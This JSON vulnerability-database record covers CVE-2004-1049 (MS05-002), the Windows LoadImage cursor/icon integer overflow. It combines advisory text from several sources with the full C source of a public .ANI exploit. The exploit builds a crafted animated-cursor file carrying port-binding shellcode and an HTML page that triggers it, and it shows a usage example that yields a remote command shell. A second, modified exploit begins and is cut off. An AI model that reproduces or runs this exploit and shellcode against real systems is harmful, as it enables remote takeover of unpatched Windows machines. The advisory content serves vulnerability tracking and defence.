This exploit requires a user to load the exploit into a browser. Due to the nature of the vulnerability, success of the exploit depends upon the system state.
Platforms
Windows
{"id": "SAINT:69586D8CAF69E0C3D4F18CC1C67805F9", "bulletinFamily": "exploit", "title": "Windows Cursor and Icon handling vulnerability", "description": "Added: 04/27/2006 \nCVE: [CVE-2004-1049](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1049>) \nBID: [12233](<http://www.securityfocus.com/bid/12233>) \nOSVDB: [12842](<http://www.osvdb.org/12842>) \n\n\n### Background\n\nThe [LoadImage](<http://msdn.microsoft.com/en-us/library/ms648045.aspx>) API in Microsoft Windows provides functions for loading cursors, animated cursors, and icons. \n\n### Problem\n\nAn integer overflow in the LoadImage API allows command execution when a user opens a specially crafted cursor or icon file. \n\n### Resolution\n\nApply the patch referenced in [Microsoft Security Bulletin 05-002](<http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx>). \n\n### References\n\n<http://www.kb.cert.org/vuls/id/625856> \n\n\n### Limitations\n\nThis exploit requires a user to load the exploit into a browser. Due to the nature of the vulnerability, success of the exploit depends upon the system state. \n\n### Platforms\n\nWindows \n \n\n", "published": "2006-04-27T00:00:00", "modified": "2006-04-27T00:00:00", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}, "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/windows_cursor_icon", "reporter": "SAINT Corporation", "references": [], "cvelist": ["CVE-2004-1049"], "type": "saint", "lastseen": "2019-06-04T23:19:34", "edition": 4, "viewCount": 4, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2004-1049"]}, {"type": "cert", "idList": ["VU:625856"]}, {"type": "saint", "idList": ["SAINT:AD404B0B4C2C37B0477A7142DCA4902A", "SAINT:1CB79BACE1E576202D793F322D4FC7AB"]}, {"type": "osvdb", "idList": ["OSVDB:12842", "OSVDB:12623"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:496106E447F2CDF645715B8E90700B55", "EXPLOITPACK:A3DB553EB0C225D9EE304EFD549BC9DD"]}, {"type": "seebug", "idList": ["SSV:8979", "SSV:8977"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:7557", "SECURITYVULNS:DOC:7554"]}, {"type": "nessus", "idList": ["SMB_NT_MS05-002.NASL"]}], "modified": "2019-06-04T23:19:34", "rev": 2}, "score": {"value": 7.4, "vector": "NONE", "modified": "2019-06-04T23:19:34", "rev": 2}, "vulnersScore": 7.4}, "scheme": null}
{"cve": [{"lastseen": "2020-10-03T11:33:39", "description": "Integer overflow in the LoadImage API of the USER32 Lib for Microsoft Windows allows remote attackers to execute arbitrary code via a .bmp, .cur, .ico or .ani file with a large image size field, which leads to a buffer overflow, aka the \"Cursor and Icon Format Handling Vulnerability.\"", "edition": 3, "cvss3": {}, "published": "2004-12-31T05:00:00", "title": "CVE-2004-1049", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": true}, "cvelist": ["CVE-2004-1049"], "modified": "2018-10-12T21:35:00", "cpe": ["cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_2003_server:r2", "cpe:/o:microsoft:windows_xp:*", "cpe:/o:microsoft:windows_nt:*"], "id": "CVE-2004-1049", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1049", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:microsoft:windows_xp:*:sp1:tablet_pc:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp3:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp1:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_nt:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:gold:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:fr:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:r2:*:*:*:*:*:*:*"]}], "saint": [{"lastseen": "2019-05-29T17:19:56", "bulletinFamily": "exploit", "cvelist": ["CVE-2004-1049"], "edition": 2, "description": "Added: 04/27/2006 \nCVE: [CVE-2004-1049](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1049>) \nBID: [12233](<http://www.securityfocus.com/bid/12233>) \nOSVDB: [12842](<http://www.osvdb.org/12842>) \n\n\n### Background\n\nThe [LoadImage](<http://msdn.microsoft.com/en-us/library/ms648045.aspx>) API in Microsoft Windows provides functions for loading cursors, animated cursors, and icons. \n\n### Problem\n\nAn integer overflow in the LoadImage API allows command execution when a user opens a specially crafted cursor or icon file. \n\n### Resolution\n\nApply the patch referenced in [Microsoft Security Bulletin 05-002](<http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx>). \n\n### References\n\n<http://www.kb.cert.org/vuls/id/625856> \n\n\n### Limitations\n\nThis exploit requires a user to load the exploit into a browser. Due to the nature of the vulnerability, success of the exploit depends upon the system state. \n\n### Platforms\n\nWindows \n \n\n", "modified": "2006-04-27T00:00:00", "published": "2006-04-27T00:00:00", "href": "http://download.saintcorporation.com/cgi-bin/exploit_info/windows_cursor_icon", "id": "SAINT:1CB79BACE1E576202D793F322D4FC7AB", "type": "saint", "title": "Windows Cursor and Icon handling vulnerability", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2016-10-03T15:02:01", "bulletinFamily": "exploit", "cvelist": ["CVE-2004-1049"], "description": "Added: 04/27/2006 \nCVE: [CVE-2004-1049](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1049>) \nBID: [12233](<http://www.securityfocus.com/bid/12233>) \nOSVDB: [12842](<http://www.osvdb.org/12842>) \n\n\n### Background\n\nThe [LoadImage](<http://msdn.microsoft.com/en-us/library/ms648045.aspx>) API in Microsoft Windows provides functions for loading cursors, animated cursors, and icons. \n\n### Problem\n\nAn integer overflow in the LoadImage API allows command execution when a user opens a specially crafted cursor or icon file. \n\n### Resolution\n\nApply the patch referenced in [Microsoft Security Bulletin 05-002](<http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx>). \n\n### References\n\n<http://www.kb.cert.org/vuls/id/625856> \n\n\n### Limitations\n\nThis exploit requires a user to load the exploit into a browser. Due to the nature of the vulnerability, success of the exploit depends upon the system state. \n\n### Platforms\n\nWindows \n \n\n", "edition": 1, "modified": "2006-04-27T00:00:00", "published": "2006-04-27T00:00:00", "id": "SAINT:AD404B0B4C2C37B0477A7142DCA4902A", "href": "http://www.saintcorporation.com/cgi-bin/exploit_info/windows_cursor_icon", "type": "saint", "title": "Windows Cursor and Icon handling vulnerability", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "osvdb": [{"lastseen": "2017-04-28T13:20:08", "bulletinFamily": "software", "cvelist": ["CVE-2004-1049"], "edition": 1, "description": "## Vulnerability Description\nA remote overflow exists in Microsoft Windows. The LoadImage API of the USER32 Lib fails to perform proper bounds checking resulting in an integer overflow. By creating a mailicous Web page which contains specially crafted *.bmp, *.cur, *.ico or *.ani files, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.\n## Solution Description\nCurrently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.\n## Short Description\nA remote overflow exists in Microsoft Windows. The LoadImage API of the USER32 Lib fails to perform proper bounds checking resulting in an integer overflow. By creating a mailicous Web page which contains specially crafted *.bmp, *.cur, *.ico or *.ani files, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.\n## References:\nVendor URL: http://www.microsoft.com/\nSecurity Tracker: 1012684\n[Secunia Advisory ID:13645](https://secuniaresearch.flexerasoftware.com/advisories/13645/)\n[Related OSVDB ID: 12624](https://vulners.com/osvdb/OSVDB:12624)\n[Related OSVDB ID: 12625](https://vulners.com/osvdb/OSVDB:12625)\nOther Advisory URL: http://www.xfocus.net/flashsky/icoExp/\nMicrosoft Security Bulletin: MS05-002\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2004-12/0364.html\nISS X-Force ID: 18668\nGeneric Exploit URL: http://packetstormsecurity.nl/0501-exploits/HOD-ms05002-ani-expl.c\nGeneric Exploit URL: http://packetstormsecurity.nl/0501-exploits/WC-ms05002-ani-expl-cb.c\n[CVE-2004-1049](https://vulners.com/cve/CVE-2004-1049)\nBugtraq ID: 12095\n", "modified": "2004-12-20T00:00:00", "published": "2004-12-20T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:12623", "id": "OSVDB:12623", "type": "osvdb", "title": "Microsoft Windows LoadImage API Overflow", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:08", "bulletinFamily": "software", "cvelist": ["CVE-2004-1049"], "edition": 1, "description": "## Vulnerability Description\nA local overflow exists in Windows. USER32.DLL fails to validate the Length_of_AnimationHeader field in .ANI files, which is passed as a length argument to memcpy(). With a specially crafted request, an attacker can cause arbitrary data to write to the stack and execute resulting in a loss of integrity.\n## Solution Description\nCurrently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.\n## Short Description\nA local overflow exists in Windows. USER32.DLL fails to validate the Length_of_AnimationHeader field in .ANI files, which is passed as a length argument to memcpy(). With a specially crafted request, an attacker can cause arbitrary data to write to the stack and execute resulting in a loss of integrity.\n## References:\nSecurity Tracker: 1012835\n[Secunia Advisory ID:13645](https://secuniaresearch.flexerasoftware.com/advisories/13645/)\nOther Advisory URL: http://www.eeye.com/html/research/advisories/AD20050111.html\nMicrosoft Security Bulletin: MS05-002\nMicrosoft Knowledge Base Article: 891711\nGeneric Informational URL: http://isc.sans.org/diary.php?date=2005-03-08\nGeneric Exploit URL: http://www.xfocus.net/flashsky/icoExp/index.html\nGeneric Exploit URL: http://underwar.livedns.co.il/projects/ani/\n[CVE-2004-1049](https://vulners.com/cve/CVE-2004-1049)\nCERT VU: 625856\nBugtraq ID: 12233\n", "modified": "2005-01-11T04:59:20", "published": "2005-01-11T04:59:20", "href": "https://vulners.com/osvdb/OSVDB:12842", "id": "OSVDB:12842", "type": "osvdb", "title": "Microsoft Windows Cursor and Icon Validation Command Execution", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "cert": [{"lastseen": "2020-09-18T20:43:40", "bulletinFamily": "info", "cvelist": ["CVE-2004-1049"], "description": "### Overview \n\nThe Microsoft Windows [LoadImage API](<http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/resources/introductiontoresources/resourcereference/resourcefunctions/loadimage.asp>) routine is vulnerable to an integer overflow that may allow a remote attacker to execute arbitrary code on a vulnerable system.\n\n### Description \n\nThe [LoadImage API](<http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/resources/introductiontoresources/resourcereference/resourcefunctions/loadimage.asp>) routine is used to load an image from a file on Microsoft Windows platforms. The LoadImage API is included part of the USER 32 library. A lack of input validation on user supplied input to the LoadImage API routine may allow an integer overflow to occur. If a remote attacker supplies a specially crafted image file to a vulnerable system, that attacker may be able to trigger the integer overflow to compromise that system.\n\nAccording to public reports, many Microsoft Windows are affected. However, reports also indicate Windows XP with Service Pack 2 is not vulnerable, but we have not confirmed this. \n \nNote that exploits for this vulnerability are publicly available. \n \n--- \n \n### Impact \n\nIf a remote attacker can persuade a user to access a specially crafted image file, the attacker may be able to execute arbitrary code on that user's system, possibly with elevated privileges. Potentially any operation that displays an image could trigger exploitation; for instance, browsing the file system, reading HTML email, or browsing websites. \n \n--- \n \n### Solution \n\n**Apply Patch**\n\n \nApply a patch as described in Microsoft Security Bulletin [MS05-002](<http://www.microsoft.com/technet/security/bulletin/ms05-002.mspx>). Please also note that Microsoft is actively deploying the patches for this vulnerability via [Windows Update](<http://windowsupdate.microsoft.com/>). \n \n--- \n \n### Vendor Information\n\n625856\n\nFilter by status: All Affected Not Affected Unknown\n\nFilter by content: __ Additional information available\n\n__ Sort by: Status Alphabetical\n\nExpand all\n\n**Javascript is disabled. Click here to view vendors.**\n\n### Microsoft Corporation __ Unknown\n\nNotified: January 06, 2005 Updated: January 11, 2005 \n\n### Status\n\nUnknown\n\n### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Vendor Information \n\nThe vendor has not provided us with any further information regarding this vulnerability.\n\n### Addendum\n\n<http://www.microsoft.com/technet/security/bulletin/ms05-002.mspx>\n\nIf you have feedback, comments, or additional information about this vulnerability, please send us [email](<mailto:cert@cert.org?Subject=VU%23625856 Feedback>).\n\n \n\n\n### CVSS Metrics \n\nGroup | Score | Vector \n---|---|--- \nBase | | \nTemporal | | \nEnvironmental | | \n \n \n\n\n### References \n\n * <http://www.securityfocus.com/archive/1/385342>\n * <http://www.xfocus.net/flashsky/icoExp/index.html>\n * <http://secunia.com/advisories/13645/>\n * <http://www.microsoft.com/technet/security/bulletin/ms05-002.mspx>\n\n### Acknowledgements\n\nThis vulnerability was reported by flashsky fangxing and eEye Digital Security.\n\nThis document was written by Jeff Gennari.\n\n### Other Information\n\n**CVE IDs:** | [CVE-2004-1049](<http://web.nvd.nist.gov/vuln/detail/CVE-2004-1049>) \n---|--- \n**Severity Metric:** | 44.75 \n**Date Public:** | 2004-12-23 \n**Date First Published:** | 2005-01-06 \n**Date Last Updated: ** | 2005-01-12 16:00 UTC \n**Document Revision: ** | 54 \n", "modified": "2005-01-12T16:00:00", "published": "2005-01-06T00:00:00", "id": "VU:625856", "href": "https://www.kb.cert.org/vuls/id/625856", "type": "cert", "title": "Microsoft Windows LoadImage API vulnerable to integer overflow", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:31", "description": "\nMicrosoft Internet Explorer - .ANI Universal (MS05-002)", "edition": 1, "published": "2005-01-22T00:00:00", "title": "Microsoft Internet Explorer - .ANI Universal (MS05-002)", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2004-1049"], "modified": "2005-01-22T00:00:00", "id": "EXPLOITPACK:496106E447F2CDF645715B8E90700B55", "href": "", "sourceData": "/* Added string.h /str0ke */\n/* HOD-ms05002-ani-expl.c: 2005-01-10: PUBLIC v.0.2\n *\n * Copyright (c) 2004-2005 houseofdabus.\n *\n * (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\n * (CAN-2004-1049)\n *\n *\n *\n * .::[ houseofdabus ]::.\n *\n *\n *\n * (universal -- for all affected systems)\n * ---------------------------------------------------------------------\n * Description:\n * A remote code execution vulnerability exists in the way that\n * cursor, animated cursor, and icon formats are handled. An attacker\n * could try to exploit the vulnerability by constructing a malicious\n * cursor or icon file that could potentially allow remote code\n * execution if a user visited a malicious Web site or viewed a\n * malicious e-mail message. An attacker who successfully exploited\n * this vulnerability could take complete control of an affected\n * system.\n *\n * ---------------------------------------------------------------------\n * Patch:\n * http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\n *\n * ---------------------------------------------------------------------\n * Tested on:\n * - Windows Server 2003\n * - Windows XP SP1\n * - Windows XP SP0\n * - Windows 2000 SP4\n * - Windows 2000 SP3\n * - Windows 2000 SP2\n *\n * ---------------------------------------------------------------------\n * Compile:\n *\n * Win32/VC++ : cl -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\n * Win32/cygwin: gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\n * Linux : gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\n *\n * ---------------------------------------------------------------------\n * Example:\n *\n * C:\\>HOD-ms05002-ani-expl.exe poc 7777\n * <...>\n * [*] Creating poc.ani file ... Ok\n * [*] Creating poc.html file ... Ok\n *\n * C:\\>\n *\n * start IE -> C:\\poc.html\n *\n * C:\\>telnet localhost 7777\n * Microsoft Windows 2000 [Version 5.00.2195]\n * (C) Copyright 1985-2000 Microsoft Corp.\n *\n * C:\\Documents and Settings\\Administrator\\Desktop>\n *\n * ---------------------------------------------------------------------\n *\n * This is provided as proof-of-concept code only for educational\n * purposes and testing by authorized individuals with permission to\n * do so.\n *\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n/* ANI header */\nunsigned char aniheader[] =\n\"\\x52\\x49\\x46\\x46\\x9c\\x18\\x00\\x00\\x41\\x43\\x4f\\x4e\\x61\\x6e\\x69\\x68\"\n\"\\x7c\\x03\\x00\\x00\\x24\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x08\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n/* jmp offset, no Jitsu */\n\"\\x77\\x82\\x40\\x00\\xeb\\x64\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x64\\x90\\x90\"\n\"\\xeb\\x54\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x54\\x90\\x90\\x77\\x82\\x40\\x00\"\n\"\\xeb\\x44\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x44\\x90\\x90\\x77\\x82\\x40\\x00\"\n\"\\xeb\\x34\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x34\\x90\\x90\\x77\\x82\\x40\\x00\"\n\"\\xeb\\x24\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x24\\x90\\x90\\x77\\x82\\x40\\x00\"\n\"\\xeb\\x14\\x90\\x90\\x77\\x82\\x40\\x00\\xeb\\x14\\x90\\x90\\x77\\x82\\x40\\x00\"\n\"\\x77\\x82\\x40\\x00\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\";\n\n\n/* portbind shellcode */\nunsigned char shellcode[] =\n\"\\xeb\\x70\\x56\\x33\\xc0\\x64\\x8b\\x40\\x30\\x85\\xc0\\x78\\x0c\\x8b\\x40\\x0c\"\n\"\\x8b\\x70\\x1c\\xad\\x8b\\x40\\x08\\xeb\\x09\\x8b\\x40\\x34\\x8d\\x40\\x7c\\x8b\"\n\"\\x40\\x3c\\x5e\\xc3\\x60\\x8b\\x6c\\x24\\x24\\x8b\\x45\\x3c\\x8b\\x54\\x05\\x78\"\n\"\\x03\\xd5\\x8b\\x4a\\x18\\x8b\\x5a\\x20\\x03\\xdd\\xe3\\x34\\x49\\x8b\\x34\\x8b\"\n\"\\x03\\xf5\\x33\\xff\\x33\\xc0\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xcf\\x0d\\x03\"\n\"\\xf8\\xeb\\xf4\\x3b\\x7c\\x24\\x28\\x75\\xe1\\x8b\\x5a\\x24\\x03\\xdd\\x66\\x8b\"\n\"\\x0c\\x4b\\x8b\\x5a\\x1c\\x03\\xdd\\x8b\\x04\\x8b\\x03\\xc5\\x89\\x44\\x24\\x1c\"\n\"\\x61\\xc3\\xeb\\x3d\\xad\\x50\\x52\\xe8\\xa8\\xff\\xff\\xff\\x89\\x07\\x83\\xc4\"\n\"\\x08\\x83\\xc7\\x04\\x3b\\xf1\\x75\\xec\\xc3\\x8e\\x4e\\x0e\\xec\\x72\\xfe\\xb3\"\n\"\\x16\\x7e\\xd8\\xe2\\x73\\xad\\xd9\\x05\\xce\\xd9\\x09\\xf5\\xad\\xa4\\x1a\\x70\"\n\"\\xc7\\xa4\\xad\\x2e\\xe9\\xe5\\x49\\x86\\x49\\xcb\\xed\\xfc\\x3b\\xe7\\x79\\xc6\"\n\"\\x79\\x83\\xec\\x60\\x8b\\xec\\xeb\\x02\\xeb\\x05\\xe8\\xf9\\xff\\xff\\xff\\x5e\"\n\"\\xe8\\x3d\\xff\\xff\\xff\\x8b\\xd0\\x83\\xee\\x36\\x8d\\x7d\\x04\\x8b\\xce\\x83\"\n\"\\xc1\\x10\\xe8\\x9d\\xff\\xff\\xff\\x83\\xc1\\x18\\x33\\xc0\\x66\\xb8\\x33\\x32\"\n\"\\x50\\x68\\x77\\x73\\x32\\x5f\\x8b\\xdc\\x51\\x52\\x53\\xff\\x55\\x04\\x5a\\x59\"\n\"\\x8b\\xd0\\xe8\\x7d\\xff\\xff\\xff\\xb8\\x01\\x63\\x6d\\x64\\xc1\\xf8\\x08\\x50\"\n\"\\x89\\x65\\x34\\x33\\xc0\\x66\\xb8\\x90\\x01\\x2b\\xe0\\x54\\x83\\xc0\\x72\\x50\"\n\"\\xff\\x55\\x24\\x33\\xc0\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\xff\\x55\\x14\"\n\"\\x8b\\xf0\\x33\\xc0\\x33\\xdb\\x50\\x50\\x50\\xb8\\x02\\x01\\x11\\x5c\\xfe\\xcc\"\n\"\\x50\\x8b\\xc4\\xb3\\x10\\x53\\x50\\x56\\xff\\x55\\x18\\x53\\x56\\xff\\x55\\x1c\"\n\"\\x53\\x8b\\xd4\\x2b\\xe3\\x8b\\xcc\\x52\\x51\\x56\\xff\\x55\\x20\\x8b\\xf0\\x33\"\n\"\\xc9\\xb1\\x54\\x2b\\xe1\\x8b\\xfc\\x57\\x33\\xc0\\xf3\\xaa\\x5f\\xc6\\x07\\x44\"\n\"\\xfe\\x47\\x2d\\x57\\x8b\\xc6\\x8d\\x7f\\x38\\xab\\xab\\xab\\x5f\\x33\\xc0\\x8d\"\n\"\\x77\\x44\\x56\\x57\\x50\\x50\\x50\\x40\\x50\\x48\\x50\\x50\\xff\\x75\\x34\\x50\"\n\"\\xff\\x55\\x08\\xf7\\xd0\\x50\\xff\\x36\\xff\\x55\\x10\\xff\\x77\\x38\\xff\\x55\"\n\"\\x28\\xff\\x55\\x0c\";\n\n#define SET_PORTBIND_PORT(buf, port)\t*(unsigned short *)(((buf)+300)) = (port)\n\nunsigned char discl[] =\n\"This is provided as proof-of-concept code only for educational\"\n\" purposes and testing by authorized individuals with permission\"\n\" to do so.\";\n\nunsigned char html[] =\n\"<html>\\n\"\n\"(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\"\n\"<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href =\\\"\"\n\"http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\\\">\"\n\"Patch (MS05-002)</a>\\n\"\n\"<script>alert(\\\"%s\\\")</script>\\n<head>\\n\\t<style>\\n\"\n\"\\t\\t* {CURSOR: url(\\\"%s.ani\\\")}\\n\\t</style>\\n</head>\\n\"\n\"</html>\";\n\n\nunsigned short\nfixx(unsigned short p)\n{\n\tunsigned short r = 0;\n\tr = (p & 0xFF00) >> 8;\n\tr |= (p & 0x00FF) << 8;\n\nreturn r;\n}\n\nvoid\nusage(char *prog)\n{\n\tprintf(\"Usage:\\n\");\n\tprintf(\"%s <file> <bindport>\\n\\n\", prog);\n\texit(0);\n}\n\n\nint\nmain(int argc, char **argv)\n{\n\tFILE *fp;\n\tunsigned short port;\n\tunsigned char f[256+5] = \"\";\n\tunsigned char anib[912] = \"\";\n\n\n\tprintf(\"\\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\\n\\n\");\n\tprintf(\"\\tCopyright (c) 2004-2005 .: houseofdabus :.\\n\\n\\n\");\n\tprintf(\"Tested on all affected systems:\\n\");\n\tprintf(\" [+] Windows Server 2003\\n [+] Windows XP SP1, SP0\\n\");\n\tprintf(\" [+] Windows 2000 All SP\\n\\n\");\n\n\tprintf(\"%s\\n\\n\", discl);\n\tif ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) {\n\t\tprintf(\"[-] Size of shellcode must be <= 686 bytes\\n\");\n\t\treturn 0;\n\t}\n\tif (argc < 3) usage(argv[0]);\n\n\tif (strlen(argv[1]) > 256) {\n\t\tprintf(\"[-] Size of filename must be <=256 bytes\\n\");\n\t\treturn 0;\n\t}\n\n\t/* creating ani file */\n\tstrcpy(f, argv[1]);\n\tstrcat(f, \".ani\");\n\tprintf(\"[*] Creating %s file ...\", f);\n\tfp = fopen(f, \"wb\");\n\tif (fp == NULL) {\n\t\tprintf(\"\\n[-] error: can\\'t create file: %s\\n\", f);\n\t\treturn 0;\n\t}\n\tmemset(anib, 0x90, 912);\n\n\t/* header */\n\tmemcpy(anib, aniheader, sizeof(aniheader)-1);\n\t/* shellcode */\n\tport = atoi(argv[2]);\n\tSET_PORTBIND_PORT(shellcode, fixx(port));\n\tmemcpy(anib+sizeof(aniheader)-1, shellcode, sizeof(shellcode)-1);\n\n\tfwrite(anib, 1, 912, fp);\n\tprintf(\" Ok\\n\");\n\tfclose(fp);\n\n\t/* creating html file */\n\tf[0] = '\\0';\n\tstrcpy(f, argv[1]);\n\tstrcat(f, \".html\");\n\tprintf(\"[*] Creating %s file ...\", f);\n\tfp = fopen(f, \"wb\");\n\tif (fp == NULL) {\n\t\tprintf(\"\\n[-] error: can\\'t create file: %s\\n\", f);\n\t\treturn 0;\n\t}\n\tsprintf(anib, html, discl, argv[1]);\n\tfwrite(anib, 1, strlen(anib), fp);\n\tprintf(\" Ok\\n\");\n\tfclose(fp);\n\nreturn 0;\n}\n\n// milw0rm.com [2005-01-22]", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-04-01T19:04:31", "description": "\nMicrosoft Internet Explorer - .ANI Downloader (MS05-002)", "edition": 1, "published": "2005-01-24T00:00:00", "title": "Microsoft Internet Explorer - .ANI Downloader (MS05-002)", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2004-1049"], "modified": "2005-01-24T00:00:00", "id": "EXPLOITPACK:A3DB553EB0C225D9EE304EFD549BC9DD", "href": "", "sourceData": "/* Modified by Vertygo aka Ivanm (ivanm@blic.net) all credits goes to\n houseofdabus Berend-Jan Wever and to milw0rm*/\n/* Added string.h /str0ke */\n/* HOD-ms05002-ani-expl.c: 2005-01-10: PUBLIC v.0.2\n*\n* Copyright (c) 2004-2005 houseofdabus.\n*\n* (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\n* (CAN-2004-1049)\n*\n*\n*\n* .::[ houseofdabus ]::.\n*\n*\n*\n* (universal -- for all affected systems)\n* ---------------------------------------------------------------------\n* Description:\n* A remote code execution vulnerability exists in the way that\n* cursor, animated cursor, and icon formats are handled. An attacker\n* could try to exploit the vulnerability by constructing a malicious\n* cursor or icon file that could potentially allow remote code\n* execution if a user visited a malicious Web site or viewed a\n* malicious e-mail message. An attacker who successfully exploited\n* this vulnerability could take complete control of an affected\n* system.\n*\n* ---------------------------------------------------------------------\n* Patch:\n* http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\n*\n* ---------------------------------------------------------------------\n* Tested on:\n* - Windows Server 2003\n* - Windows XP SP1\n* - Windows XP SP0\n* - Windows 2000 SP4\n* - Windows 2000 SP3\n* - Windows 2000 SP2\n*\n* ---------------------------------------------------------------------\n* Compile:\n*\n* Win32/VC++ : cl -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\n* Win32/cygwin: gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\n* Linux : gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c\n*\n* ---------------------------------------------------------------------\n* Example:\n*\n* C:\\>HOD-ms05002-ani-expl.exe poc 7777\n* <...>\n* [*] Creating poc.ani file ... Ok\n* [*] Creating poc.html file ... Ok\n*\n* C:\\>\n*\n* start IE -> C:\\poc.html\n*\n* C:\\>telnet localhost 7777\n* Microsoft Windows 2000 [Version 5.00.2195]\n* (C) Copyright 1985-2000 Microsoft Corp.\n*\n* C:\\Documents and Settings\\Administrator\\Desktop>\n*\n* ---------------------------------------------------------------------\n*\n* This is provided as proof-of-concept code only for educational\n* purposes and testing by authorized individuals with permission to\n* do so.\n*\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n/* ANI header */\nunsigned char aniheader[] =\n\"\\x52\\x49\\x46\\x46\\x9c\\x18\\x00\\x00\\x41\\x43\\x4f\\x4e\\x61\\x6e\\x69\\x68\"\n\"\\x7c\\x03\\x00\\x00\\x24\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x08\\x00\\x00\\x00\"\n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n/* jmp offset, no 